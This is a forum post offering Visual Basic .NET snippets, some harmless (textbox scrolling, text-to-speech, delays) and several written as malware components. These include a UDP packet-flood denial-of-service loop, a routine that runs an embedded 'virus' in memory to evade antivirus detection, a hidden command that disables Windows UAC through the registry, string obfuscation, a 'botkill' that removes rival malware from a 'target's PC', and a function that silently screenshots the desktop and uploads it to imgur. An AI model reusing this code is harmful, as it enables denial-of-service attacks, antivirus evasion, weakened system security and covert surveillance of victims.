Useful Snippets 12-06-2012, 03:46 PM
#1
Useful Snippets
Introduction
On this thread I will be posting useful snippets so that you can access them easily whenever you need. The credits goes to the orignial coders. Do keep in mind that these are Visual Basic .NET snippets and nothing else.
Scroll to the bottom of a textbox
This is very useful when you're making an IM system or such.
Code:
<DllImport("user32.dll", CharSet:=CharSet.Auto, SetLastError:=True)> _
Public Shared Function SendMessage( _
ByVal hwnd As IntPtr, _
ByVal wMsg As UInt32, _
ByVal wParam As IntPtr, _
ByVal lParam As IntPtr) As IntPtr
End Function
Private Const SBBOTTOM As Long = 7
Private Const WMVSCROLL As Long = &H115
Public Sub ScrollToBottom(ByVal hWnd As Long)
SendMessage(hWnd, WMVSCROLL, SBBOTTOM, 0)
End Sub
Code:
ScrollToBottom(TextBox1.Handle)
Swap mouse buttons
This can be used in Remote Administration Tools or just to prank somebody.
Code:
Declare Function SwapMouseButton Lib "user32.dll" Alias "SwapMouseButton" (ByVal bSwap As Integer) As Integer
Code:
SwapMouseButton(1) 'Swapped
SwapMouseButton(0) 'Normal again
Screen capture
This can be used in Remote Administration Tools and other screen-capping software.
This is a rather long code, but you can either copy and paste it or just download it.
Code:
Imports System
Imports System.Runtime.InteropServices
Imports System.Drawing
Imports System.Drawing.Imaging
Namespace ScreenShot
Public Class ScreenCapture
Public Function CaptureScreen() As Image
Return CaptureWindow(User32.GetDesktopWindow())
End Function
Public Function CaptureWindow(ByVal handle As IntPtr) As Image
Dim SRCCOPY As Integer = &HCC0020
Dim hdcSrc As IntPtr = User32.GetWindowDC(handle)
Dim windowRect As New User32.RECT
User32.GetWindowRect(handle, windowRect)
Dim width As Integer = windowRect.right - windowRect.left
Dim height As Integer = windowRect.bottom - windowRect.top
Dim hdcDest As IntPtr = GDI32.CreateCompatibleDC(hdcSrc)
Dim hBitmap As IntPtr = GDI32.CreateCompatibleBitmap(hdcSrc, width, height)
Dim hOld As IntPtr = GDI32.SelectObject(hdcDest, hBitmap)
GDI32.BitBlt(hdcDest, 0, 0, width, height, hdcSrc, 0, 0, SRCCOPY)
GDI32.SelectObject(hdcDest, hOld)
GDI32.DeleteDC(hdcDest)
User32.ReleaseDC(handle, hdcSrc)
Dim img As Image = Image.FromHbitmap(hBitmap)
GDI32.DeleteObject(hBitmap)
Return img
End Function
Public Sub CaptureWindowToFile(ByVal handle As IntPtr, ByVal filename As String, ByVal format As ImageFormat)
Dim img As Image = CaptureWindow(handle)
img.Save(filename, format)
End Sub
Public Sub CaptureScreenToFile(ByVal filename As String, ByVal format As ImageFormat)
Dim img As Image = CaptureScreen()
img.Save(filename, format)
End Sub
Public Function CaptureDeskTopRectangle(ByVal CapRect As Rectangle, ByVal CapRectWidth As Integer, ByVal CapRectHeight As Integer) As Bitmap
Dim SC As New ScreenShot.ScreenCapture
Dim bmpImage As New Bitmap(sc.CaptureScreen)
Dim bmpCrop As New Bitmap(CapRectWidth, CapRectHeight, bmpImage.PixelFormat)
Dim recCrop As New Rectangle(CapRect.X, CapRect.Y, CapRectWidth, CapRectHeight)
Dim gphCrop As Graphics = Graphics.FromImage(bmpCrop)
Dim recDest As New Rectangle(0, 0, CapRectWidth, CapRectHeight)
gphCrop.DrawImage(bmpImage, recDest, recCrop.X, recCrop.Y, recCrop.Width, _
recCrop.Height, GraphicsUnit.Pixel)
Return bmpCrop
End Function
Private Class GDI32
Public SRCCOPY As Integer = &HCC0020
Declare Function BitBlt Lib "gdi32.dll" ( _
ByVal hDestDC As IntPtr, _
ByVal x As Int32, _
ByVal y As Int32, _
ByVal nWidth As Int32, _
ByVal nHeight As Int32, _
ByVal hSrcDC As IntPtr, _
ByVal xSrc As Int32, _
ByVal ySrc As Int32, _
ByVal dwRop As Int32) As Int32
Declare Function CreateCompatibleBitmap Lib "gdi32.dll" ( _
ByVal hdc As IntPtr, _
ByVal nWidth As Int32, _
ByVal nHeight As Int32) As IntPtr
Declare Function CreateCompatibleDC Lib "gdi32.dll" ( _
ByVal hdc As IntPtr) As IntPtr
Declare Function DeleteDC Lib "gdi32.dll" ( _
ByVal hdc As IntPtr) As Int32
Declare Function DeleteObject Lib "gdi32.dll" ( _
ByVal hObject As IntPtr) As Int32
Declare Function SelectObject Lib "gdi32.dll" ( _
ByVal hdc As IntPtr, _
ByVal hObject As IntPtr) As IntPtr
End Class
Public Class User32
<StructLayout(LayoutKind.Sequential)> _
Public Structure RECT
Public left As Integer
Public top As Integer
Public right As Integer
Public bottom As Integer
End Structure
Declare Function GetDesktopWindow Lib "user32.dll" () As IntPtr
Declare Function GetWindowDC Lib "user32.dll" ( _
ByVal hwnd As IntPtr) As IntPtr
Declare Function ReleaseDC Lib "user32.dll" ( _
ByVal hwnd As IntPtr, _
ByVal hdc As IntPtr) As Int32
Declare Function GetWindowRect Lib "user32.dll" ( _
ByVal hwnd As IntPtr, _
ByRef lpRect As RECT) As Int32
End Class
End Class
End Namespace
Code:
'Just capture screen and save it to C:\scr.jpg
Dim SC As New ScreenShot.ScreenCapture
SC.CaptureScreenToFile("c:\scr.jpg", Imaging.ImageFormat.Jpeg)
'Capture screen from window handle and save to C:\skype.jpg
Dim SC2 As New ScreenShot.ScreenCapture
SC2.CaptureWindowToFile(Process.GetProcessesByName("skype").FirstOrDefault.MainWindowHandle, "C:\skype.jpg", ImageFormat.Jpeg)
Text to speech
This can be used in so many ways. You could implement it into some kind of artificial intelligence chatbot.
Code:
Dim SAPI = CreateObject("SAPI.spvoice")
Code:
SAPI.Speak("Hello World")
Denial of Service / Packet flood
Code:
Do
Dim udpClient As New UdpClient
Dim GLOIP As IPAddress
Dim bytCommand As Byte() = New Byte() {}
GLOIP = IPAddress.Parse(host)
udpClient.Connect(GLOIP, port)
bytCommand = Encoding.ASCII.GetBytes("BLAAAAAAAAAAAAAAAA")
udpClient.Send(bytCommand, bytCommand.Length)
Loop
Code:
Replace host with the target IP address in String format, and port with the target port, also in String format.
Read file from resources and execute in memory
The easy way to FUD your virus. (Scantime/Runtime)
Code:
Public Sub Execute(ByVal bytes As Byte())
Dim t As New Thread(AddressOf DoExecute)
t.TrySetApartmentState(ApartmentState.STA)
t.Start(bytes)
End Sub
Public Sub DoExecute(ByVal d As Byte())
If d(&H3C) = &H80 Then
Dim asm As Assembly = Assembly.Load(d)
Dim entryPoint As MethodInfo = asm.EntryPoint
Dim o As Object() = Nothing
If entryPoint.GetParameters().Length > 0 Then
o = New Object() {New String() {"1"}}
End If
entryPoint.Invoke(Nothing, o)
Application.Exit()
End If
End Sub
Code:
Dim ResourceByte As Byte() = My.Resources.virus
Execute(ResourceByte)
Disable UAC (User Account Control)
Code:
Sub DisableUAC()
Shell("C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f", AppWinStyle.Hide)
End Sub
Code:
DisableUAC()
String obfuscation
Code:
Private Function Obfuscate(ByVal Text As String) As String
Dim sResult As String = String.Empty
For i As Integer = Text.Length To 1 Step -2
sResult &= Microsoft.VisualBasic.Mid(Text, i, 1)
Next
For x As Integer = Text.Length - 1 To 1 Step -2
sResult &= Microsoft.VisualBasic.Mid(Text, x, 1)
Next
Return sResult
End Function
Private Function Deobfuscate(ByVal Text As String) As String
Dim sResult As String = String.Empty
Dim iRem As Integer = Text.Length Mod 2
Dim iMid As Integer = Text.Length \ 2
For i As Integer = (iMid + iRem) To 1 Step -1
If iRem = 0 Then
sResult &= Microsoft.VisualBasic.Mid(Text, (i + iMid), 1)
End If
sResult &= Microsoft.VisualBasic.Mid(Text, i, 1)
If iRem = 1 And i <> 1 Then
sResult &= Microsoft.VisualBasic.Mid(Text, (i + iMid), 1)
End If
Next
Return sResult
End Function
Code:
Obfuscate("Hello World!")
Deobfuscate("drWolHlo le")
Botkill
Kills viruses on targets PC. Most of the time it is to be able to get them for yourself.
Code:
Private Sub scan()
While True
Dim procs As Process() = Process.GetProcesses()
For i As Integer = 0 To procs.Length - 1
Try
Dim proc As Process = procs(i)
Dim fn As String = proc.MainModule.FileName
If fn.ToLower().Contains("appdata") OrElse fn.ToLower().Contains("temp") OrElse fn.ToLower().Contains("system32") Then
Dim nameOut As String = String.Empty
If CheckReg(RegistryHive.CurrentUser, fn, nameOut) Then
Kill(proc, fn, RegistryHive.CurrentUser, nameOut)
End If
If CheckReg(RegistryHive.LocalMachine, fn, nameOut) Then
Kill(proc, fn, RegistryHive.LocalMachine, nameOut)
End If
End If
Catch
End Try
Next
Thread.Sleep(30000)
End While
End Sub
Private Function CheckReg(ByVal hive As RegistryHive, ByVal fileName As String, ByRef name As String) As Boolean
Dim key As RegistryKey = Nothing
Select Case hive
Case RegistryHive.CurrentUser
key = Registry.CurrentUser
Exit Select
Case Else
key = Registry.LocalMachine
Exit Select
End Select
key = key.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run")
Dim names As String() = key.GetValueNames()
For i As Integer = 0 To names.Length - 1
If key.GetValue(names(i)) IsNot Nothing AndAlso key.GetValue(names(i)).ToString().ToLower() = fileName.ToLower() Then
name = names(i)
Return True
End If
Next
name = Nothing
Return False
End Function
Private Sub Kill(ByVal proc As Process, ByVal fileName As String, ByVal hive As RegistryHive, ByVal regName As String)
Try
proc.Kill()
Dim tempName As String = Path.GetTempFileName()
Try
File.Delete(tempName)
Catch
End Try
File.Move(fileName, tempName.Replace(".tmp", ".exe"))
Try
File.Delete(tempName)
Catch
End Try
Dim key As RegistryKey = Nothing
Select Case hive
Case RegistryHive.CurrentUser
key = Registry.CurrentUser
Exit Select
Case Else
key = Registry.LocalMachine
Exit Select
End Select
key = key.CreateSubKey("Software\Microsoft\Windows\CurrentVersion\Run")
key.DeleteValue(regName)
Catch
End Try
End Sub
Code:
Dim botkill As New Thread(AddressOf scan)
botkill.Start()
Bytes to image and back
Code:
Private Function BytesToImage(ByVal ImageBytes() As Byte) As Image
Dim imgNew As Image
Dim memImage As New System.IO.MemoryStream(ImageBytes)
imgNew = Image.FromStream(memImage)
Return imgNew
End Function
Private Function ImageToBytes(ByVal Image As Image) As Byte()
Dim memImage As New System.IO.MemoryStream
Dim bytImage() As Byte
Image.Save(memImage, Image.RawFormat)
bytImage = memImage.GetBuffer()
Return bytImage
End Function
Code:
Dim download As New Webclient
Dim mypicture As Image = BytesToImage(download.DownloadData("http://google.com/image.jpg"))
Wait function
It waits for x milliseconds. It's better to use this than thread.sleep.
Code:
Private Sub wait(ByVal interval As Integer)
Dim sw As New Stopwatch
sw.Start()
Do While sw.ElapsedMilliseconds < interval
Application.DoEvents()
Loop
sw.Stop()
End Sub
Code:
wait(3000) 'waits three seconds
Screengrab function + upload to imgur
It uploads your screen to imgur and returns the URL.
Code:
Function Upload_Sc() As String
Dim FileO As String = CStr((CInt(Date.Now.Millisecond + (Date.Now.Minute) + (Date.Now.Second) * 12) + Rnd())).Replace(".", "")
Dim out As String
Try
Dim bmpsc As New Drawing.Bitmap(Windows.Forms.Screen.GetBounds(New Drawing.Point(0, 0)).Width, Windows.Forms.Screen.GetBounds(New Drawing.Point(0, 0)).Height)
Dim gfx As Drawing.Graphics = Drawing.Graphics.FromImage(DirectCast(bmpsc, Drawing.Image))
gfx.CopyFromScreen(0, 0, 0, 0, New Drawing.Size(Windows.Forms.Screen.GetBounds(New Drawing.Point(0, 0)).Width, Windows.Forms.Screen.GetBounds(New Drawing.Point(0, 0)).Height))
bmpsc.Save(Environ("appdata") + "\" + FileO + ".jpg", Drawing.Imaging.ImageFormat.Jpeg)
Dim imageData() As Byte
Dim fileStream As IO.FileStream = IO.File.OpenRead(Environ("appdata") + "\" + FileO + ".jpg")
imageData = New Byte((fileStream.Length) - 1) {}
fileStream.Read(imageData, 0, imageData.Length)
fileStream.Close()
Dim uploadRequestString As String = Web.HttpUtility.UrlEncode("image", Encoding.UTF8) + "=" + Web.HttpUtility.UrlEncode(System.Convert.ToBase64String(imageData)) + "&" + Web.HttpUtility.UrlEncode("key", Encoding.UTF8) + "=" + Web.HttpUtility.UrlEncode("216320f4d4e4f60856a922cf0421c36f", Encoding.UTF8)
Dim webRequest As Net.HttpWebRequest = CType(Net.WebRequest.Create("http://api.imgur.com/2/upload"), Net.HttpWebRequest)
webRequest.Method = "POST"
webRequest.ContentType = "application/x-www-form-urlencoded"
webRequest.ServicePoint.Expect100Continue = False
Dim streamWriter As IO.StreamWriter = New IO.StreamWriter(webRequest.GetRequestStream)
streamWriter.Write(uploadRequestString)
streamWriter.Close()
Dim response As Net.WebResponse = webRequest.GetResponse
Dim responseStream As IO.Stream = response.GetResponseStream
Dim responseReader As IO.StreamReader = New IO.StreamReader(responseStream)
Dim responseString As String = responseReader.ReadToEnd
Dim ImageURL As String = Split(responseString, "<original>")(1).Split("<")(0)
out = ImageURL
IO.File.Delete(Environ("appdata") + "\" + FileO + ".jpg")
Catch ex As Exception
out = ErrorToString()
Try
IO.File.Delete(Environ("appdata") + "\" + FileO + ".jpg")
Catch
End Try
End Try
GC.Collect()
Return out
End Function
Code:
My.Computer.Clipboard.SetText(Upload_Sc()) 'screenshots and copies URL to clipboard
There will be more snippets over time. Just check back once in a while. And please do submit your own snippets, just PM me.